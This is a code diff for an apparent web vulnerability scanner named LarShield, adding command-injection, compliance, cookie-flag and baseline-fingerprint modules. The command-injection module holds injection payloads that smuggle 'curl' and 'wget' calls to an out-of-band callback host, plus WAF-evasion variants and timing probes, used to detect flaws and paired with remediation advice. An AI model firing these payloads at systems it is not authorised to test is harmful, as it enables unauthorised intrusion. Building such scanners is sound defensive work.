+                                f"Multi-stage detection: time-based probe `{eva_payload}` on param `{k}` "
+                                f"produced {elapsed:.1f}s delay (baseline {self._timing_detector.mean:.1f}s). "
+                                "Echo confirmation did not produce output, suggesting blind injection."
+                            ),
+                            remediation=(
+                                # BUG-3 FIX: was a regular string — {k} printed literally.
+                                f"Investigate parameter `{k}` for command injection. "
+                                "Apply input validation and avoid shell execution with user input."
+                            ),
+                            payload=eva_payload,
+                            evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s",
+                            request_details=f"GET {test_url}",
+                            response_details=f"Response time: {elapsed:.2f}s",
+                        )
+                        return True
+        return False
+
+    # ── 6. OOB CMDi detection ──────────────────────────────���─────────────
+    def _test_oob_cmdi(self) -> bool:
+        parsed = urllib.parse.urlparse(self.target)
+        qs = urllib.parse.parse_qsl(parsed.query)
+        callback = build_callback_url("/cmdi-oob")
+        oob_payloads = [
+            f"| curl {callback}",
+            f"| wget -q -O- {callback}",
+            f"& curl {callback} &",
+            f"; curl {callback};",
+            f"$(curl {callback})",
+            f"`curl {callback}`",
+        ]
+        if not qs:
+            return False
+        for k, _ in qs[:2]:
+            for oob_payload in oob_payloads:
+                for eva_name, eva_payload in waf_evade(oob_payload):
+                    test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
+                    test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
+                    body, status, elapsed = self._make_timed_request(test_url, timeout=8)
+                    self._timing_detector.record_timing(f"oob_{k}", elapsed, eva_payload)
+                    if body:
+                        self.add_vuln(
+                            title=f"Possible OOB Command Injection in GET parameter `{k}`",
+                            severity="Critical",
+                            category="Command Injection",
+                            cvss_score=9.8,
+                            cwe_ids=["CWE-78"],
+                            owasp_category="A03:2021 – Injection",
+                            confidence="Medium",
+                            references=["https://cwe.mitre.org/data/definitions/78.html"],
+                            description=(
+                                f"OOB command injection payload `{eva_payload}` sent to param `{k}`. "
+                                f"Check callback service at {callback} for incoming connections.\n"
+                                "If a connection is received, command injection is confirmed."
+                            ),
+                            remediation=(
+                                "1. Never pass user input to os.system(), exec(), shell_exec(), or subprocess(shell=True).\n"
+                                "2. Use language-specific APIs with argument arrays (not shell strings).\n"
+                                "3. Apply input allowlisting.\n"
+                                "4. Run the application as a non-privileged user."
+                            ),
+                            payload=eva_payload,
+                            evidence=f"OOB callback: {callback}",
+                            request_details=f"GET {test_url}",
+                            response_details=f"Response time: {elapsed:.2f}s",
+                        )
+                        return True
+        return False
+
+    # ── 7. JSON body CMDi (ENH) ────────────────────────────────────────────
+    def _test_json_body_cmdi(self) -> bool:
+        """
+        ENH: Test JSON POST body parameters for command injection.
+        Many REST APIs accept JSON and may pass field values to shell commands.
+        """
+        common_fields = ["cmd", "command", "exec", "run", "ping", "host",
+                         "server", "ip", "url", "query", "action"]
+        for field in common_fields:
+            for payload in ECHO_PAYLOADS[:4]:
+                try:
+                    body_data = json.dumps({field: payload}).encode()
+                    body, status = self._make_request(
+                        self.target, "POST", body_data,
+                        {"Content-Type": "application/json"}
+                    )
+                    if body and PROBE_MARKER in body:
+                        self._report("POST JSON", field, payload, body, confidence="Confirmed")
+                        return True
+                except Exception:
+                    pass
+        return False
+
+    # ── Helpers ────────────────────────────────────────────────────────
+    def _report(self, source, param, payload, body, confidence="High"):
+        self.log("CRITICAL", f"[CmdInjection] RCE confirmed! source={source} param={param}")
+        self.add_vuln(
+            title=f"OS Command Injection via {source} — parameter `{param}`",
+            severity="Critical",
+            category="Command Injection",
+            cvss_score=10.0,
+            cwe_ids=["CWE-78"],
+            owasp_category="A03:2021 – Injection",
+            confidence=confidence,
+            references=["https://cwe.mitre.org/data/definitions/78.html"],
+            description=(
+                f"The application executes arbitrary OS commands via `{source}` parameter `{param}`.\n\n"
+                f"**Payload:** `{payload}`\n"
+                f"**Output reflected:** Yes (`{PROBE_MARKER}` found in response)\n\n"
+                "This is Remote Code Execution (RCE) — the most critical web vulnerability class."
+            ),
+            remediation=(
+                "1. Use parameterized subprocess calls: `subprocess.run(['cmd', arg], shell=False)`.\n"
+                "2. Validate input with a strict allowlist.\n"
+                "3. Run processes as least-privilege service accounts.\n"
+                "4. Deploy a WAF rule blocking shell metacharacters (`;`, `|`, `&`, `` ` ``, `$`)."
+            ),
+            payload=payload,
+            evidence=f"Probe marker '{PROBE_MARKER}' found in response body.",
+            request_details=f"Injection via {source}:{param}",
+            response_details=f"Body snippet containing marker: ...{body[:200]}...",
+        )
+
+    def _resolve_url(self, action: str) -> str:
+        if not action: return self.target
+        if action.startswith("http"): return action
+        p = urllib.parse.urlparse(self.target)
+        if action.startswith("/"):
+            return f"{p.scheme}://{p.netloc}{action}"
+        return f"{self.target.rstrip('/')}/{action}"

backend/scanners/compliance_scanner.py

@@ -0,0 +1,227 @@
+"""
+compliance_scanner.py — Security Compliance & Standards Checker
+================================================================
+Audits the target against major compliance frameworks:
+  - OWASP Top 10 (2021)
+  - PCI-DSS v4.0 (relevant subset)
+  - GDPR / Privacy
+  - HIPAA (technical safeguards subset)
+  - SOC 2 Type II (relevant technical controls)
+
+Generates a compliance score and per-framework gap report.
+Note: This is an automated scan — manual verification is required
+for full compliance certification.
+"""
+import re, urllib.request
+from scanners.base_scanner import BaseScanner
+
+# Control check: (id, name, check_fn_name, framework_tags)
+COMPLIANCE_CONTROLS = [
+    # ── OWASP Top 10 controls ──────────────────────────────────────────
+    ("OWASP-A01", "Broken Access Control — Admin paths restricted",     "check_admin_paths",    ["OWASP"]),
+    ("OWASP-A02", "Cryptographic Failures — HTTPS enforced",            "check_https",          ["OWASP","PCI","HIPAA"]),
+    ("OWASP-A02", "Cryptographic Failures — HSTS enabled",              "check_hsts",           ["OWASP","PCI","HIPAA"]),
+    ("OWASP-A02", "Cryptographic Failures — TLS 1.2+ only",             "check_tls_version",    ["OWASP","PCI"]),
+    ("OWASP-A03", "Injection — Security headers present",               "check_security_headers",["OWASP","PCI"]),
+    ("OWASP-A05", "Security Misconfiguration — X-Frame-Options set",    "check_xfo",            ["OWASP"]),
+    ("OWASP-A05", "Security Misconfiguration — CSP header set",         "check_csp",            ["OWASP"]),
+    ("OWASP-A05", "Security Misconfiguration — Server header hidden",   "check_server_header",  ["OWASP","PCI"]),
+    ("OWASP-A06", "Vulnerable Components — X-Powered-By hidden",        "check_powered_by",     ["OWASP"]),
+    ("OWASP-A07", "Auth Failures — Secure + HttpOnly cookies",          "check_cookie_flags",   ["OWASP","PCI"]),
+    # ── PCI-DSS specific ───────────────────────────────────────────────
+    ("PCI-6.4",   "PCI-DSS — Referrer-Policy header present",          "check_referrer_policy",["PCI"]),
+    ("PCI-6.4",   "PCI-DSS — Permissions-Policy header present",       "check_perms_policy",   ["PCI"]),
+    # ── GDPR ───────────────────────────────────────────────────────────
+    ("GDPR-Art13","GDPR — Privacy Policy link present",                 "check_privacy_policy", ["GDPR"]),
+    ("GDPR-Art7", "GDPR — Cookie consent mechanism present",            "check_cookie_consent", ["GDPR"]),
+    # ── HIPAA technical safeguards ────────────────────────────────────
+    ("HIPAA-164.312","HIPAA — Encryption in transit (HTTPS)",           "check_https",          ["HIPAA"]),
+    # ── SOC 2 ─────────────────────────────────────────────────────────
+    ("SOC2-CC6.1","SOC2 — Secure communication (HSTS)",                 "check_hsts",           ["SOC2"]),
+    ("SOC2-CC6.7","SOC2 — Data transmission protection (CSP)",          "check_csp",            ["SOC2"]),
+]
+
+
+class ComplianceScanner(BaseScanner):
+    SCANNER_NAME = "Security Compliance & Standards Scanner"
+    _SCANNER_KEY = "compliance"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._headers: dict   = {}
+        self._body:    str    = ""
+        self._is_https = self.target.startswith("https://")
+        self._results: dict   = {}   # control_name -> (passed, detail)
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO", f"[Compliance] Running compliance audit on {self.target}...")
+        try:
+            self._fetch_target()
+            self._run_all_checks()
+            self._generate_report()
+        except Exception as e:
+            self.log("WARNING", f"[Compliance] Error: {e}")
+
+        self.log("SUCCESS" if not self.vulns else "WARNING",
+            f"[Compliance] Audit complete. {len(self.vulns)} gap(s) identified.")
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _fetch_target(self):
+        req = urllib.request.Request(self.target,
+            headers={"User-Agent": "LarShield/2.0 Compliance-Audit"})
+        with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
+            self._headers = {k.lower(): v for k, v in r.headers.items()}
+            self._body    = r.read().decode("utf-8", errors="ignore")
+
+    # ------------------------------------------------------------------
+    def _run_all_checks(self):
+        for ctrl_id, ctrl_name, fn_name, frameworks in COMPLIANCE_CONTROLS:
+            fn = getattr(self, f"_{fn_name}", None)
+            if fn:
+                passed, detail = fn()
+                key = ctrl_name
+                self._results[key] = (passed, detail, ctrl_id, frameworks)
+
+    # ------------------------------------------------------------------
+    def _generate_report(self):
+        # Aggregate by framework
+        framework_scores = {}
+        for ctrl_name, (passed, detail, ctrl_id, frameworks) in self._results.items():
+            for fw in frameworks:
+                if fw not in framework_scores:
+                    framework_scores[fw] = {"pass": 0, "fail": 0, "gaps": []}
+                if passed:
+                    framework_scores[fw]["pass"] += 1
+                else:
+                    framework_scores[fw]["fail"] += 1
+                    framework_scores[fw]["gaps"].append(f"[{ctrl_id}] {ctrl_name}: {detail}")
+
+        for fw, scores in framework_scores.items():
+            total  = scores["pass"] + scores["fail"]
+            pct    = int(100 * scores["pass"] / total) if total else 0
+            gaps   = scores["gaps"]
+
+            if not gaps:
+                self.log("SUCCESS", f"[Compliance] {fw}: 100% — All {total} controls passed")
+                continue
+
+            severity = "Critical" if pct < 40 else ("High" if pct < 60 else ("Medium" if pct < 80 else "Low"))
+            cvss     = {
+                "Critical": 9.0, "High": 7.0, "Medium": 5.0, "Low": 3.0
+            }[severity]
+
+            self.log("WARNING", f"[Compliance] {fw}: {pct}% ({scores['pass']}/{total} controls passed)")
+
+            self.add_vuln(
+                title=f"{fw} Compliance Gaps — {pct}% Score ({scores['pass']}/{total} controls passed)",
+                severity=severity,
+                category="Compliance",
+                cvss_score=cvss,
+                description=(
+                    f"**Framework:** {fw}\n"
+                    f"**Score:** {pct}% ({scores['pass']} passed, {scores['fail']} failed of {total} automated controls)\n\n"
+                    "**Failed Controls:**\n"
+                    + "\n".join(f"- {g}" for g in gaps) +
+                    "\n\n*Note: This automated check covers a subset of controls. "
+                    "Full certification requires a manual audit.*"
+                ),
+                remediation=(
+                    f"Address the {len(gaps)} failing {fw} control(s) above. "
+                    f"Each finding has dedicated remediation guidance in the full report."
+                ),
+            )
+
+    # ── Individual check functions ─────────────────────────────────────
+    def _check_https(self):
+        if self._is_https:
+            return True, "HTTPS enforced"
+        return False, "Site does not use HTTPS"
+
+    def _check_hsts(self):
+        hsts = self._headers.get("strict-transport-security", "")
+        if hsts:
+            max_age_m = re.search(r"max-age=(\d+)", hsts)
+            if max_age_m and int(max_age_m.group(1)) >= 31536000:
+                return True, f"HSTS: {hsts}"
+            return False, f"HSTS max-age too short: {hsts}"
+        return False, "HSTS header missing"
+
+    def _check_tls_version(self):
+        # Heuristic: if HSTS is present and HTTPS is enforced, assume TLS is current
+        if self._is_https and self._headers.get("strict-transport-security"):
+            return True, "HTTPS + HSTS suggest modern TLS (verify with sslyze)"
+        return False, "Cannot confirm TLS version — run sslyze scanner"
+
+    def _check_security_headers(self):
+        required = ["x-content-type-options", "x-xss-protection",
+                    "content-security-policy", "strict-transport-security"]
+        missing = [h for h in required if h not in self._headers]
+        if not missing:
+            return True, "All core security headers present"
+        return False, f"Missing headers: {', '.join(missing)}"
+
+    def _check_xfo(self):
+        xfo = self._headers.get("x-frame-options", "")
+        if xfo.upper() in ("DENY", "SAMEORIGIN"):
+            return True, f"X-Frame-Options: {xfo}"
+        return False, f"X-Frame-Options missing or weak ('{xfo}')"
+
+    def _check_csp(self):
+        csp = self._headers.get("content-security-policy", "")
+        if csp:
+            if "'unsafe-inline'" not in csp and "'unsafe-eval'" not in csp:
+                return True, "CSP present and strict"
+            return False, "CSP present but allows unsafe-inline or unsafe-eval"
+        return False, "CSP header missing"
+
+    def _check_server_header(self):
+        server = self._headers.get("server", "")
+        if not server or re.search(r"^\S+$", server) and not re.search(r"\d", server):
+            return True, f"Server header minimal: '{server}'"
+        return False, f"Server header reveals version info: '{server}'"
+
+    def _check_powered_by(self):
+        xpb = self._headers.get("x-powered-by", "")
+        if not xpb:
+            return True, "X-Powered-By header not present"
+        return False, f"X-Powered-By exposes technology: '{xpb}'"
+
+    def _check_cookie_flags(self):
+        cookies = self._headers.get("set-cookie", "")
+        if not cookies:
+            return True, "No cookies set on main page"
+        if "secure" in cookies.lower() and "httponly" in cookies.lower():
+            return True, "Cookies have Secure + HttpOnly flags"
+        return False, "Cookie(s) missing Secure or HttpOnly flag"
+
+    def _check_referrer_policy(self):
+        rp = self._headers.get("referrer-policy", "")
+        if rp:
+            return True, f"Referrer-Policy: {rp}"
+        return False, "Referrer-Policy header missing"
+
+    def _check_perms_policy(self):
+        pp = self._headers.get("permissions-policy",
+             self._headers.get("feature-policy",""))
+        if pp:
+            return True, f"Permissions-Policy present"
+        return False, "Permissions-Policy header missing"
+
+    def _check_privacy_policy(self):
+        if re.search(r'(privacy.?policy|privacy-policy|/privacy|datenschutz)', self._body, re.I):
+            return True, "Privacy policy link detected in HTML"
+        return False, "No privacy policy link found in page HTML"
+
+    def _check_admin_paths(self):
+        # Check if admin is not indexable (not a definitive check)
+        return True, "Automated check — use directory scanner results"
+
+    def _check_cookie_consent(self):
+        consent_re = re.compile(
+            r"(cookie.?consent|cookieconsent|cookie.?notice|accept.?cookie|"
+            r"cookie.?policy|gdpr|we use cookies)", re.I)
+        if consent_re.search(self._body):
+            return True, "Cookie consent mechanism detected"
+        return False, "No cookie consent banner or mechanism detected"

backend/scanners/cookie_scanner.py

@@ -0,0 +1,355 @@
+"""
+cookie_scanner.py — Cookie Security Flags Auditor
+==================================================
+Performs a deep audit of all Set-Cookie headers across the site:
+  - Secure flag (absent on HTTPS)
+  - HttpOnly flag (missing XSS protection)
+  - SameSite attribute (None / Lax / Strict / absent)
+  - __Host- / __Secure- prefix compliance
+  - Excessive cookie lifetime (> 1 year)
+  - Sensitive names without protection
+  - Cookie scoping (Domain= too broad)
+  - Path= attribute
+"""
+import re, ssl, urllib.request, urllib.error, urllib.parse
+from scanners.base_scanner import BaseScanner
+
+# Cookie names that strongly suggest session / auth usage
+SENSITIVE_NAMES = re.compile(
+    r"(sess|session|auth|token|jwt|access|refresh|user|uid|account|login|"
+    r"remember|csrf|xsrf|cart|order|payment)", re.I
+)
+
+MAX_SAFE_AGE_SECONDS = 365 * 24 * 3600   # 1 year
+
+
+class CookieScanner(BaseScanner):
+    SCANNER_NAME = "Cookie Security Auditor"
+    _SCANNER_KEY = "cookie"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._is_https = self.target.startswith("https://")
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO", f"[Cookies] Starting cookie security audit on {self.target}...")
+
+        try:
+            endpoints = self._crawl()
+            seen_cookies: set = set()
+
+            for url in endpoints:
+                cookies = self._collect_cookies(url)
+                for name, attrs, raw in cookies:
+                    key = (name.lower(), url)
+                    if key in seen_cookies:
+                        continue
+                    seen_cookies.add(key)
+                    self._audit_cookie(name, attrs, raw, url)
+
+            self._check_cookie_scope(url if endpoints else self.target)
+            self._check_session_without_expiration()
+            self._check_persistent_cookies()
+
+        except Exception as e:
+            self.log("WARNING", f"[Cookies] Audit error: {e}")
+
+        self.log(
+            "SUCCESS" if not self.vulns else "WARNING",
+            f"[Cookies] Audit complete. {len(self.vulns)} issue(s) found.",
+        )
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _crawl(self) -> list:
+        try:
+            # GAP-ADV: Centralized context
+            if self.discovery_context and "urls" in self.discovery_context:
+                return [u.get("url") if isinstance(u, dict) else u for u in self.discovery_context["urls"]]
+            return [self.target][:20]
+        except Exception as e:
+            self.log("ERROR", f"[Cookies] _crawl error: {e}")
+            return [self.target]
+
+    # ------------------------------------------------------------------
+    def _collect_cookies(self, url: str) -> list:
+        """Return list of (name, attrs_dict, raw_header) tuples."""
+        cookies = []
+        try:
+            headers = {"User-Agent": "LarShield/2.0 Cookie-Auditor"}
+            headers.update(self.auth_headers or {})
+            body, status, resp_headers = self._make_request(url, headers=headers, timeout=8, return_response_obj=True)
+
+            raw_headers = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
+            if raw_headers is None: raw_headers = []
+            for raw in raw_headers:
+                name, attrs = self._parse_cookie(raw)
+                if name:
+                    cookies.append((name, attrs, raw))
+
+        except Exception as e:
+            self.log("ERROR", f"[Cookies] _collect_cookies error: {e}")
+        return cookies
+
+    # ------------------------------------------------------------------
+    @staticmethod
+    def _parse_cookie(raw: str) -> tuple:
+        """Parse a Set-Cookie header into (name, attrs_dict)."""
+        parts  = [p.strip() for p in raw.split(";")]
+        if not parts:
+            return None, {}
+        name_val = parts[0].split("=", 1)
+        name     = name_val[0].strip()
+        attrs    = {}
+        for part in parts[1:]:
+            kv = part.split("=", 1)
+            attrs[kv[0].strip().lower()] = kv[1].strip() if len(kv) > 1 else True
+        return name, attrs
+
+    # ------------------------------------------------------------------
+    def _audit_cookie(self, name: str, attrs: dict, raw: str, url: str):
+        is_sensitive = bool(SENSITIVE_NAMES.search(name))
+        issues = []
+
+        # ── Secure flag ───────────────────────────────────────────────
+        if self._is_https and "secure" not in attrs:
+            issues.append("missing Secure flag")
+            self.add_vuln(
+                title=f"Cookie '{name}' Missing Secure Flag",
+                severity="Medium",
+                category="Cookie Security",
+                cvss_score=5.3,
+                description=(
+                    f"The cookie `{name}` set at `{url}` does not have the `Secure` flag. "
+                    "On an HTTPS site, omitting Secure allows the cookie to be transmitted "
+                    "over plain HTTP, exposing it to network eavesdroppers."
+                ),
+                remediation=(
+                    f"Set-Cookie: {name}=<value>; Secure; HttpOnly; SameSite=Strict\n"
+                    "Ensure all cookies on HTTPS sites include the Secure attribute."
+                ),
+            )
+
+        # ── HttpOnly flag ─────────────────────────────────────────────
+        if "httponly" not in attrs and is_sensitive:
+            issues.append("missing HttpOnly flag on sensitive cookie")
+            self.add_vuln(
+                title=f"Sensitive Cookie '{name}' Missing HttpOnly Flag",
+                severity="High",
+                category="Cookie Security",
+                cvss_score=7.4,
+                description=(
+                    f"The cookie `{name}` at `{url}` appears to be a session/auth cookie "
+                    "(its name matches sensitive patterns) but does not have the `HttpOnly` "
+                    "flag set. This allows JavaScript code to read it via `document.cookie`, "
+                    "making it trivially stealable via any XSS vulnerability."
+                ),
+                remediation=(
+                    f"Set-Cookie: {name}=<value>; HttpOnly; Secure; SameSite=Strict\n"
+                    "Add HttpOnly to all session and authentication cookies."
+                ),
+            )
+
+        # ── SameSite attribute ────────────────────────────────────────
+        samesite = attrs.get("samesite", None)
+        if samesite is None:
+            issues.append("missing SameSite attribute")
+            sev = "High" if is_sensitive else "Medium"
+            self.add_vuln(
+                title=f"Cookie '{name}' Missing SameSite Attribute",
+                severity=sev,
+                category="Cookie Security",
+                cvss_score=6.5 if is_sensitive else 4.3,
+                description=(
+                    f"The cookie `{name}` at `{url}` has no `SameSite` attribute. "
+                    "Without SameSite, the cookie is sent on all cross-site requests, "
+                    "enabling Cross-Site Request Forgery (CSRF) attacks."
+                ),
+                remediation=(
+                    f"Set-Cookie: {name}=<value>; SameSite=Strict; Secure; HttpOnly\n"
+                    "Use SameSite=Strict for session cookies, Lax for others."
+                ),
+            )
+        elif samesite.lower() == "none":
+            if "secure" not in attrs:
+                self.add_vuln(
+                    title=f"Cookie '{name}' SameSite=None Without Secure",
+                    severity="High",
+                    category="Cookie Security",
+                    cvss_score=7.5,
+                    description=(
+                        f"Cookie `{name}` at `{url}` has `SameSite=None` but is missing "
+                        "the `Secure` flag. Modern browsers reject such cookies; when they "
+                        "fall back to legacy behaviour, they become vulnerable to CSRF."
+                    ),
+                    remediation="Set-Cookie: SameSite=None; Secure",
+                )
+
+        # ── Cookie lifetime ───────────────────────────────────────────
+        max_age = attrs.get("max-age")
+        if max_age and max_age is not True:
+            try:
+                if int(max_age) > MAX_SAFE_AGE_SECONDS:
+                    self.add_vuln(
+                        title=f"Cookie '{name}' Has Excessive Lifetime",
+                        severity="Low",
+                        category="Cookie Security",
+                        cvss_score=3.1,
+                        description=(
+                            f"Cookie `{name}` has Max-Age={max_age}s "
+                            f"(>{MAX_SAFE_AGE_SECONDS // (365*3600*24)} years). "
+                            "Long-lived session cookies increase the window of attack "
+                            "after a user's session is compromised or stolen."
+                        ),
+                        remediation=(
+                            "Limit session cookie lifetime to the session duration.\n"
+                            "Use short Max-Age values and implement server-side session expiry."
+                        ),
+                    )
+            except ValueError:
+                pass
+
+        # ── __Host- / __Secure- prefix compliance ───��─────────────────
+        if name.startswith("__Host-"):
+            if "secure" not in attrs or "domain" in attrs or attrs.get("path","") != "/":
+                self.add_vuln(
+                    title=f"__Host- Cookie '{name}' Prefix Violation",
+                    severity="Medium",
+                    category="Cookie Security",
+                    cvss_score=5.3,
+                    description=(
+                        f"Cookie `{name}` uses the `__Host-` prefix but violates its "
+                        "requirements (must have Secure, no Domain=, Path=/)."
+                    ),
+                    remediation=(
+                        "For __Host- cookies: set Secure, omit Domain=, set Path=/."
+                    ),
+                )
+        if name.startswith("__Secure-") and "secure" not in attrs:
+            self.add_vuln(
+                title=f"__Secure- Cookie '{name}' Missing Secure Flag",
+                severity="Medium",
+                category="Cookie Security",
+                cvss_score=5.3,
+                description=(
+                    f"Cookie `{name}` uses the `__Secure-` prefix but is missing the "
+                    "`Secure` flag, violating the prefix contract."
+                ),
+                remediation="Add the Secure flag to all __Secure- prefixed cookies.",
+            )
+
+        if not issues:
+            self.log("SUCCESS", f"[Cookies] Cookie '{name}' — all flags OK")
+        else:
+            self.log("WARNING", f"[Cookies] Cookie '{name}' issues: {', '.join(issues)}")
+
+    # ------------------------------------------------------------------
+    def _check_cookie_scope(self, url: str):
+        """Analyze cookie Domain and Path attributes for overly broad scoping."""
+        cookies = self._collect_cookies(url)
+        target_domain = urllib.parse.urlparse(self.target).hostname or ""
+
+        for name, attrs, raw in cookies:
+            # Check Domain attribute
+            domain = attrs.get("domain", "")
+            if domain:
+                domain = domain.lstrip(".")
+                if target_domain and domain != target_domain and not target_domain.endswith("." + domain):
+                    self.add_vuln(
+                        title=f"Cookie '{name}' Has Overly Broad Domain Scope",
+                        severity="Medium",
+                        category="Cookie Security",
+                        cvss_score=5.3,
+                        description=f"The cookie `{name}` has Domain=`{domain}` which is broader "
+                            f"than the target domain `{target_domain}`. Cookies scoped to a broader "
+                            "domain are sent to all subdomains, increasing exposure.",
+                        evidence=f"Domain={domain}, Target={target_domain}",
+                        request_details=f"Set-Cookie: {raw[:100]}",
+                        confidence="High",
+                        remediation="1. Set Domain to the exact origin domain.\n"
+                            "2. Avoid broad domain scoping for session cookies.\n"
+                            "3. Use __Host- prefix cookies which forbid Domain attribute.",
+                    )
+
+            # Check Path attribute
+            path = attrs.get("path", "/")
+            if path == "/":
+                self.add_vuln(
+                    title=f"Cookie '{name}' Has Root Path Scope (Path=/)",
+                    severity="Low",
+                    category="Cookie Security",
+                    cvss_score=2.6,
+                    description=f"The cookie `{name}` has Path=/ which means it is sent to "
+                        "all endpoints on the domain. Consider restricting the path to reduce "
+                        "the cookie's exposure.",
+                    evidence=f"Path={path}",
+                    request_details=f"Set-Cookie: {raw[:100]}",
+                    confidence="Medium",
+                    remediation="1. Set Path to the specific application path.\n"
+                        "2. For admin-only cookies, use Path=/admin.\n"
+                        "3. Use __Host- prefix cookies which require Path=/ only.",
+                )
+
+    # ------------------------------------------------------------------
+    def _check_session_without_expiration(self):
+        """Check if session cookies have no expiration (should be session-scoped)."""
+        session_keywords = re.compile(r"(sess|session|sid|token|auth|jwt)", re.I)
+        cookies = self._collect_cookies(self.target)
+
+        for name, attrs, raw in cookies:
+            if not session_keywords.search(name):
+                continue
+
+            has_max_age = "max-age" in attrs
+            has_expires = "expires" in attrs
+
+            if not has_max_age and not has_expires:
+                self.add_vuln(
+                    title=f"Session Cookie '{name}' Has No Expiration",
+                    severity="Medium",
+                    category="Cookie Security",
+                    cvss_score=5.3,
+                    description=f"The session cookie `{name}` has no Max-Age or Expires attribute. "
+                        "While this likely means it is a session cookie (deleted on browser close), "
+                        "it should be explicitly configured for clarity and consistency.",
+                    evidence=f"Set-Cookie: {raw[:100]}",
+                    request_details=f"GET {self.target}",
+                    response_details=f"Set-Cookie: {raw[:100]}",
+                    confidence="Info",
+                    remediation="1. Explicitly set session cookie: remove Max-Age/Expires.\n"
+                        "2. For persistent sessions, set reasonable Max-Age.\n"
+                        "3. Implement server-side session expiry as a fallback.",
+                )
+
+    # ------------------------------------------------------------------
+    def _check_persistent_cookies(self):
+        """Detect cookies with long expiration (persistent cookies) that may be risky."""
+        cookies = self._collect_cookies(self.target)
+        for name, attrs, raw in cookies:
+            max_age = attrs.get("max-age")
+            expires = attrs.get("expires")
+            duration_days = 0
+
+            if max_age and max_age is not True:
+                try:
+                    duration_days = int(max_age) / 86400
+                except (ValueError, TypeError):
+                    pass
+
+            if duration_days > 30:
+                self.add_vuln(
+                    title=f"Persistent Cookie '{name}' With Long Expiration ({duration_days:.0f} days)",
+                    severity="Low",
+                    category="Cookie Security",
+                    cvss_score=3.1,
+                    description=f"The cookie `{name}` has a Max-Age of {int(duration_days)} days. "
+                        "Persistent cookies with long lifetimes increase the risk of session hijacking "
+                        "and should be audited for necessity.",
+                    evidence=f"Max-Age={max_age}s ({duration_days:.0f} days)",
+                    request_details=f"Set-Cookie: {raw[:100]}",
+                    confidence="Medium",
+                    remediation="1. Use session cookies (no expiration) for authentication.\n"
+                        "2. Limit persistent cookie lifetime to a maximum of 30 days.\n"
+                        "3. Implement refresh token rotation for long-lived sessions.",
+                )

backend/scanners/core/__init__.py

@@ -0,0 +1,6 @@
+# backend/scanners/core/__init__.py
+from .baseline import SiteBaseline
+from .signatures import SIGNATURES, matches_signature
+from .confidence import ConfidenceTracker
+
+__all__ = ["SiteBaseline", "SIGNATURES", "matches_signature", "ConfidenceTracker"]

backend/scanners/core/baseline.py

@@ -0,0 +1,152 @@
+"""
+core/baseline.py — Site Baseline Fingerprinter
+===============================================
+Builds a per-scan fingerprint of the site's generic 404/SPA-fallback response by
+requesting 4 random nonexistent paths. Any path probe returning a response that
+matches this baseline is suppressed — it is the app's catch-all, not a real resource.
+
+Usage:
+    baseline = SiteBaseline()
+    baseline.build(target_url, ssl_context=ctx, headers=headers, timeout=6)
+    if baseline.is_baseline(status, body):
+        # suppress — this is just the SPA shell
+"""
+import hashlib
+import time
+import urllib.error
+import urllib.parse
+import urllib.request
+import uuid
+
+
+class SiteBaseline:
+    """Thread-safe site baseline fingerprint.
+
+    Build once per scanner instantiation, then call is_baseline() before reporting
+    any path as "found".  The baseline is never cached globally — it is always
+    fresh per scan to handle CDN variance and session-specific behavior.
+    """
+
+    # Tolerance in bytes: if a response length is within this many bytes of a
+    # baseline sample, it counts as a match (catches gzip/vary minor deltas).
+    _LEN_TOLERANCE = 80
+
+    def __init__(self):
+        self._samples: list[dict] = []  # [{status, length, body_hash}]
+        self._built = False
+
+    # ------------------------------------------------------------------
+    def build(
+        self,
+        target: str,
+        ssl_context=None,
+        headers: dict | None = None,
+        timeout: int = 6,
+    ) -> None:
+        """
+        Request 4 random nonexistent paths and record their response fingerprints.
+        Paths cover different depths and extensions to detect sophisticated SPAs that
+        return different responses for *.json vs no extension, etc.
+        """
+        base = target.rstrip("/")
+        uid = uuid.uuid4().hex[:8]
+        probe_paths = [
+            f"/lrs-baseline-{uid}-a",
+            f"/lrs-baseline-{uid}-b/sub/path",
+            f"/lrs-baseline-{uid}-c.json",
+            f"/lrs-baseline-{uid}-d.php",
+        ]
+
+        req_headers = {"User-Agent": "LarShield/2.0 BaselineProbe"}
+        if headers:
+            req_headers.update(headers)
+
+        for path in probe_paths:
+            url = f"{base}{path}"
+            try:
+                req = urllib.request.Request(url, headers=req_headers)
+                with urllib.request.urlopen(
+                    req, timeout=timeout, context=ssl_context
+                ) as r:
+                    body = r.read()
+                    self._samples.append(
+                        {
+                            "status": r.status,
+                            "length": len(body),
+                            "body_hash": hashlib.sha256(body).hexdigest(),
+                        }
+                    )
+            except urllib.error.HTTPError as e:
+                # 404/403/etc are also baseline responses
+                try:
+                    body = e.read()
+                except Exception:
+                    body = b""
+                self._samples.append(
+                    {
+                        "status": e.code,
+                        "length": len(body),
+                        "body_hash": hashlib.sha256(body).hexdigest(),
+                    }
+                )
+            except Exception:
+                # Network error on probe → skip this sample
+                pass
+
+        self._built = True
+
+    # ------------------------------------------------------------------
+    def is_baseline(self, status: int, body: str | bytes) -> bool:
+        """
+        Return True if (status, body) matches the site's baseline catch-all response.
+
+        Matching rules (any one is sufficient):
+        1. Body SHA-256 hash matches a baseline sample exactly.
+        2. Status AND body length are within tolerance of a baseline sample.
+
+        We require at least 1 baseline sample to agree (not 3/4) to avoid being
+        too lenient on sites that return different 404 pages per path.
+        """
+        if not self._samples:
+            # Baseline not built or all probes failed — fail open (don't suppress).
+            return False
+
+        if isinstance(body, str):
+            body_bytes = body.encode("utf-8", errors="ignore")
+        else:
+            body_bytes = body
+
+        body_hash = hashlib.sha256(body_bytes).hexdigest()
+        body_len = len(body_bytes)
+
+        for sample in self._samples:
+            # Exact hash match
+            if body_hash == sample["body_hash"]:
+                return True
+            # Same status + length within tolerance
+            if (
+                status == sample["status"]
